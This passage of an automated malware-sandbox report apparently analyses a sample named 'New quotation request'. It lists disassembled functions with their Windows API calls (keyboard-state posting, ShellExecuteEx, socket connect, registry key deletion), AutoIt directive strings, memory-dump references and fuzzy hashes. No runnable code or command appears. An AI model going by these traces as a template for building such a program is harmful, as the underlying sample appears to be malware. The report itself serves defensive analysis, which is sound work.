                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 9d511a647f944866c9edc6dd1b384406ac005867a333e4e5508d30f1e262c53c
                                                                    • Instruction ID: 03754668ea85da73d02f9fd7ab2e2e252c33cf0a765b6b804b24f608da4365a7
                                                                    • Opcode Fuzzy Hash: 9d511a647f944866c9edc6dd1b384406ac005867a333e4e5508d30f1e262c53c
                                                                    • Instruction Fuzzy Hash: 3661CE71608314AFC711EB24DC92FAFB7A8AF84754F44491DF9469B2A2DB30ED50CB92
                                                                    Function 0033B351 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • IsWindow.USER32(015955B0), ref: 0033B3EB
                                                                    • IsWindowEnabled.USER32(015955B0), ref: 0033B3F7
                                                                    • SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 0033B4DB
                                                                    • SendMessageW.USER32(015955B0,000000B0,?,?), ref: 0033B512
                                                                    • IsDlgButtonChecked.USER32(?,?), ref: 0033B54F
                                                                    • GetWindowLongW.USER32(015955B0,000000EC), ref: 0033B571
                                                                    • SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 0033B589
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSendWindow$ButtonCheckedEnabledLong
                                                                    • String ID:
                                                                    • API String ID: 4072528602-0
                                                                    • Opcode ID: ff332efe70378d150b3acbca0a3785ae8858b583c2824eaeb215ef837a4a9eda
                                                                    • Instruction ID: ae9b609e197546ee13319b0f296316a527903f3a37243859b67803a2ead132fa
                                                                    • Opcode Fuzzy Hash: ff332efe70378d150b3acbca0a3785ae8858b583c2824eaeb215ef837a4a9eda
                                                                    • Instruction Fuzzy Hash: 78718E38604204EFEB27DF55C8D5FBAFBB9EF09310F158059EA85972A2C771A940CB54
                                                                    Function 0032F41E Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 0032F448
                                                                    • _memset.LIBCMT ref: 0032F511
                                                                    • ShellExecuteExW.SHELL32(?), ref: 0032F556
                                                                      • Part of subcall function 002B9837: __itow.LIBCMT ref: 002B9862
                                                                      • Part of subcall function 002B9837: __swprintf.LIBCMT ref: 002B98AC
                                                                      • Part of subcall function 002CFC86: _wcscpy.LIBCMT ref: 002CFCA9
                                                                    • GetProcessId.KERNEL32(00000000), ref: 0032F5CD
                                                                    • CloseHandle.KERNEL32(00000000), ref: 0032F5FC
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
                                                                    • String ID: @
                                                                    • API String ID: 3522835683-2766056989
                                                                    • Opcode ID: f1e5f32f402695db5898b9d383225644579cbbf3cfa663d1e6b03f6499b6a5e4
                                                                    • Instruction ID: b61da1947192c26e49a3ebc60b9170660db1a71011b9d22f0dcefa77020f69b2
                                                                    • Opcode Fuzzy Hash: f1e5f32f402695db5898b9d383225644579cbbf3cfa663d1e6b03f6499b6a5e4
                                                                    • Instruction Fuzzy Hash: 9961BF75A10629DFCB05EF64D8819AEBBF5FF49310F148069E85AAB361CB30AD51CF90
                                                                    Function 00310F4D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetParent.USER32(?), ref: 00310F8C
                                                                    • GetKeyboardState.USER32(?), ref: 00310FA1
                                                                    • SetKeyboardState.USER32(?), ref: 00311002
                                                                    • PostMessageW.USER32(?,00000101,00000010,?), ref: 00311030
                                                                    • PostMessageW.USER32(?,00000101,00000011,?), ref: 0031104F
                                                                    • PostMessageW.USER32(?,00000101,00000012,?), ref: 00311095
                                                                    • PostMessageW.USER32(?,00000101,0000005B,?), ref: 003110B8
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessagePost$KeyboardState$Parent
                                                                    • String ID:
                                                                    • API String ID: 87235514-0
                                                                    • Opcode ID: f4fe0f76afef708ce98a9a23f3e43728c7236df020ebada733e89806c0eb1483
                                                                    • Instruction ID: ca8389a9383ae1e6369963f90454ec3d66fd39cc9e613b8074b4d1244e5d4bed
                                                                    • Opcode Fuzzy Hash: f4fe0f76afef708ce98a9a23f3e43728c7236df020ebada733e89806c0eb1483
                                                                    • Instruction Fuzzy Hash: 8651D3A09047D53DFB3B46348C46BF6BFA95B0E304F098589E2D4898D2C2E9ECD5D751
                                                                    Function 00310D66 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetParent.USER32(00000000), ref: 00310DA5
                                                                    • GetKeyboardState.USER32(?), ref: 00310DBA
                                                                    • SetKeyboardState.USER32(?), ref: 00310E1B
                                                                    • PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00310E47
                                                                    • PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00310E64
                                                                    • PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00310EA8
                                                                    • PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00310EC9
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessagePost$KeyboardState$Parent
                                                                    • String ID:
                                                                    • API String ID: 87235514-0
                                                                    • Opcode ID: b54d71524c8d81dfe2b95a017ac91aa5720ebd1220d4ac76326e18c880cbd76c
                                                                    • Instruction ID: 82a375259dacf7f67305086faef9e2b7603ea3d3ab114fea3f9e34d669d9937d
                                                                    • Opcode Fuzzy Hash: b54d71524c8d81dfe2b95a017ac91aa5720ebd1220d4ac76326e18c880cbd76c
                                                                    • Instruction Fuzzy Hash: 6251E5A0504BD57DFB3F83758C55BFABEA96B0A300F098889E1D45A8C2C3D5ACD5D760
                                                                    Function 003155FD Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _wcsncpy$LocalTime
                                                                    • String ID:
                                                                    • API String ID: 2945705084-0
                                                                    • Opcode ID: 5f7568659f1b8a78acaf8dfbac3bf30cb9cb4fb1d771727ceb7f84df3dd9695a
                                                                    • Instruction ID: a609c587d6c9f2eec368955eb2aa50643c4c80d772bb1dad4acf7bba5483f0e7
                                                                    • Opcode Fuzzy Hash: 5f7568659f1b8a78acaf8dfbac3bf30cb9cb4fb1d771727ceb7f84df3dd9695a
                                                                    • Instruction Fuzzy Hash: 7B41C765C20214B6CB16EBB4CC46ACFB3B89F48310F504857E518E3361FB35A6A5CBE6
                                                                    Function 0030D56C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 121comlibraryloaderCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 0030D5D4
                                                                    • SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 0030D60A
                                                                    • GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 0030D61B
                                                                    • SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 0030D69D
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorMode$AddressCreateInstanceProc
                                                                    • String ID: ,,4$DllGetClassObject
                                                                    • API String ID: 753597075-733645947
                                                                    • Opcode ID: dcfb0b717cb76c1651396713fb3a63ef104703a52b423166e184d7b35544fd96
                                                                    • Instruction ID: 6ca247009a2169180d769230b3c42d5667a5e2eeeb97d114485acad501d75611
                                                                    • Opcode Fuzzy Hash: dcfb0b717cb76c1651396713fb3a63ef104703a52b423166e184d7b35544fd96
                                                                    • Instruction Fuzzy Hash: B24182B1601208EFDF06CF94C894A9ABBF9EF44314F5581A9ED099F245D7B2DD44CBA0
                                                                    Function 00313671 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 0031466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00313697,?), ref: 0031468B
                                                                      • Part of subcall function 0031466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00313697,?), ref: 003146A4
                                                                    • lstrcmpiW.KERNEL32(?,?), ref: 003136B7
                                                                    • _wcscmp.LIBCMT ref: 003136D3
                                                                    • MoveFileW.KERNEL32(?,?), ref: 003136EB
                                                                    • _wcscat.LIBCMT ref: 00313733
                                                                    • SHFileOperationW.SHELL32(?), ref: 0031379F
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
                                                                    • String ID: \*.*
                                                                    • API String ID: 1377345388-1173974218
                                                                    • Opcode ID: 33620d850b70548cd95d7584352e886a0996be7f826ebe8efecbcc1f8420756c
                                                                    • Instruction ID: 86085490fc79e31082ff4681bb1cc924eadb334686c7746b8a83532b67c1d9f9
                                                                    • Opcode Fuzzy Hash: 33620d850b70548cd95d7584352e886a0996be7f826ebe8efecbcc1f8420756c
                                                                    • Instruction Fuzzy Hash: 5B41A271508344AEC756EF64D4919DFB7ECAF8C380F40092EF489C7291EA34D689CB52
                                                                    Function 00337291 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 003372AA
                                                                    • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00337351
                                                                    • IsMenu.USER32(?), ref: 00337369
                                                                    • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 003373B1
                                                                    • DrawMenuBar.USER32 ref: 003373C4
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Menu$Item$DrawInfoInsert_memset
                                                                    • String ID: 0
                                                                    • API String ID: 3866635326-4108050209
                                                                    • Opcode ID: d41fa4f17f65ec9bf4c5a7ed4de2da25dae0bdb11fedd6c6121bfbc82403e185
                                                                    • Instruction ID: 6b07815904edb4062fcdbc3e34e6274192ec5c907c6786707224f2e4b3c7f579
                                                                    • Opcode Fuzzy Hash: d41fa4f17f65ec9bf4c5a7ed4de2da25dae0bdb11fedd6c6121bfbc82403e185
                                                                    • Instruction Fuzzy Hash: 4E4125B9A05209EFDB22DF50D884E9ABBB8FB09320F158429FD55A7260D730AD50DF90
                                                                    Function 00330FA5 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00330FD4
                                                                    • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00330FFE
                                                                    • FreeLibrary.KERNEL32(00000000), ref: 003310B5
                                                                      • Part of subcall function 00330FA5: RegCloseKey.ADVAPI32(?), ref: 0033101B
                                                                      • Part of subcall function 00330FA5: FreeLibrary.KERNEL32(?), ref: 0033106D
                                                                      • Part of subcall function 00330FA5: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00331090
                                                                    • RegDeleteKeyW.ADVAPI32(?,?), ref: 00331058
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: EnumFreeLibrary$CloseDeleteOpen
                                                                    • String ID:
                                                                    • API String ID: 395352322-0
                                                                    • Opcode ID: aa1f117d08b28f651ec0b81e50e64b17cf6a3365d721f669136f0e41b1b897de
                                                                    • Instruction ID: f0ed8cf9f20623331db0ca18841ee6663049d5db9c760c997cb7e31c1c03ca11
                                                                    • Opcode Fuzzy Hash: aa1f117d08b28f651ec0b81e50e64b17cf6a3365d721f669136f0e41b1b897de
                                                                    • Instruction Fuzzy Hash: F7310D71D01109BFDB1A9F94DCC9EFFB7BCEF08300F40016AE501A2151EA749E899AA0
                                                                    Function 003362CD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 003362EC
                                                                    • GetWindowLongW.USER32(015955B0,000000F0), ref: 0033631F
                                                                    • GetWindowLongW.USER32(015955B0,000000F0), ref: 00336354
                                                                    • SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00336386
                                                                    • SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 003363B0
                                                                    • GetWindowLongW.USER32(00000000,000000F0), ref: 003363C1
                                                                    • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 003363DB
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: LongWindow$MessageSend
                                                                    • String ID:
                                                                    • API String ID: 2178440468-0
                                                                    • Opcode ID: 492d1a852dc9285ff4d4e151ff5b3c5a317309b2ee6a3b90f81c0a744ada2b26
                                                                    • Instruction ID: 847cec8e3c7b785e6590eb20dc18089addb8841704dda5e76c8863555cc0867c
                                                                    • Opcode Fuzzy Hash: 492d1a852dc9285ff4d4e151ff5b3c5a317309b2ee6a3b90f81c0a744ada2b26
                                                                    • Instruction Fuzzy Hash: D9311639B44150AFDB22CF18DCC6F593BE9FB4A724F1A8164F5058F2B1CB71A8409B51
                                                                    Function 0030DAEB Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0030DB2E
                                                                    • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0030DB54
                                                                    • SysAllocString.OLEAUT32(00000000), ref: 0030DB57
                                                                    • SysAllocString.OLEAUT32(?), ref: 0030DB75
                                                                    • SysFreeString.OLEAUT32(?), ref: 0030DB7E
                                                                    • StringFromGUID2.OLE32(?,?,00000028), ref: 0030DBA3
                                                                    • SysAllocString.OLEAUT32(?), ref: 0030DBB1
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                                    • String ID:
                                                                    • API String ID: 3761583154-0
                                                                    • Opcode ID: 35886467e02c9c4c74210bd7f91036d59eb9f3c2a2b8c38d61a24ad13ac482b5
                                                                    • Instruction ID: 8245b86bbecf1b2088ce1d4a0b99dea1fb9448d5e37e29fed2f6dd9b495c8ee6
                                                                    • Opcode Fuzzy Hash: 35886467e02c9c4c74210bd7f91036d59eb9f3c2a2b8c38d61a24ad13ac482b5
                                                                    • Instruction Fuzzy Hash: B3219236A01219AFDF11DFE9DC88CBB77ECEB09360F418525FA14DB2A0D6749C458B64
                                                                    Function 00326173 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00327D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00327DB6
                                                                    • socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 003261C6
                                                                    • WSAGetLastError.WSOCK32(00000000), ref: 003261D5
                                                                    • ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 0032620E
                                                                    • connect.WSOCK32(00000000,?,00000010), ref: 00326217
                                                                    • WSAGetLastError.WSOCK32 ref: 00326221
                                                                    • closesocket.WSOCK32(00000000), ref: 0032624A
                                                                    • ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00326263
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
                                                                    • String ID:
                                                                    • API String ID: 910771015-0
                                                                    • Opcode ID: 66b7239fe83357f312da6234760189e49074df297f2f83ddf03ec10ef7749ff4
                                                                    • Instruction ID: 953987f3ee2e8e3f1cb1fc9ab6192bd7f107a0dde1dc7dfe461e3ee094ad8105
                                                                    • Opcode Fuzzy Hash: 66b7239fe83357f312da6234760189e49074df297f2f83ddf03ec10ef7749ff4
                                                                    • Instruction Fuzzy Hash: BC319031600228AFDF11AF24DC86BBE77ACEF45750F054429F905AB291CB74AC54CBA1
                                                                    Function 0030F65E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: __wcsnicmp
                                                                    • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                                                    • API String ID: 1038674560-2734436370
                                                                    • Opcode ID: 82d6b80b653755b6c246a6404e7e7998c2a9474a6335a1f1fda12141f0d4c7f4
                                                                    • Instruction ID: 1af6642fd2acc2f5929afef6aa4830bb1e71309fa5ed7b87759b4e0d5fa178d7
                                                                    • Opcode Fuzzy Hash: 82d6b80b653755b6c246a6404e7e7998c2a9474a6335a1f1fda12141f0d4c7f4
                                                                    • Instruction Fuzzy Hash: D8219E722165116FD232E634EC22FB7B3DCDF55780F11403AF442869D1EB919D62C796
                                                                    Function 0030DBC4 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0030DC09
                                                                    • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0030DC2F
                                                                    • SysAllocString.OLEAUT32(00000000), ref: 0030DC32
                                                                    • SysAllocString.OLEAUT32 ref: 0030DC53
                                                                    • SysFreeString.OLEAUT32 ref: 0030DC5C
                                                                    • StringFromGUID2.OLE32(?,?,00000028), ref: 0030DC76
                                                                    • SysAllocString.OLEAUT32(?), ref: 0030DC84
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
